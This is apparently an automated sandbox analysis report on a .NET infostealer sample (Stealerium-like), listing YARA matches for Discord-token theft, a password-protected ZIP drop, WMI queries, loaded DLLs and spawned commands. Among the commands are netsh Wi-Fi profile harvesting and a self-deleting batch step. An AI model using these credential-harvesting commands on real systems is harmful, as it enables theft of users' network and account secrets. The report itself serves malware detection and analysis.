Source: Process Memory Space: yv7QsAR49V.exe PID: 7052, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen

Drops password protected ZIP file

Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted
Source: user@124406_en-CH.zip.0.dr	Zip Entry: encrypted

Source: yv7QsAR49V.exe

Static PE information: No import functions for PE file found

Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55AA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json.dll@ vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe, 00000000.00000002.2629786606.0000024A5E9F0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json.dll@ vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe, 00000000.00000002.2623326463.0000024A5E3B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameICSharpCode.SharpZipLib.dllP vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55937000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe, 00000000.00000002.2621233214.0000024A5E05C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe, 00000000.00000002.2618272645.0000024A55770000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json.dll@ vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe, 00000000.00000002.2629304440.0000024A5E940000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameNewtonsoft.Json.dll2 vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe, 00000000.00000002.2615455822.0000024A458EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameSystem.Text.Json.dll@ vs yv7QsAR49V.exe
Source: yv7QsAR49V.exe	Binary or memory string: OriginalFilenamestub.exe6 vs yv7QsAR49V.exe

Source: yv7QsAR49V.exe, type: SAMPLE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.0.yv7QsAR49V.exe.24a436a0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.2615455822.0000024A457DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000000.2322470086.0000024A436A2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: yv7QsAR49V.exe PID: 7052, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions

Source: yv7QsAR49V.exe, Report.cs

Task registration methods: 'CreateTask'

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@27/108@9/6

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

File created: C:\Users\user\AppData\Local\ac3f4096cd3ed10b996709faa0e1837f

Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7108:120:WilError_03
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Mutant created: \Sessions\1\BaseNamedObjects\AGXOG2JVK0H492YSK5PV
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5632:120:WilError_03

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

File created: C:\Users\user\AppData\Local\Temp\Stealerium-Latest.log

Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\4d347f08-badb-4aa2-85cc-e67036e9d72f.bat"

Source: yv7QsAR49V.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: yv7QsAR49V.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ExecutablePath, ProcessID FROM Win32_Process
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( ProcessId = 7052)

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmpA3B2.tmp.dat.0.dr, tmpB787.tmp.dat.0.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: yv7QsAR49V.exe

ReversingLabs: Detection: 64%

Source: unknown	Process created: C:\Users\user\Desktop\yv7QsAR49V.exe "C:\Users\user\Desktop\yv7QsAR49V.exe"
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\4d347f08-badb-4aa2-85cc-e67036e9d72f.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /PID 7052
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /T 2 /NOBREAK
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\4d347f08-badb-4aa2-85cc-e67036e9d72f.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /PID 7052	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /T 2 /NOBREAK	Jump to behavior

Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\yv7QsAR49V.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nettrace.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
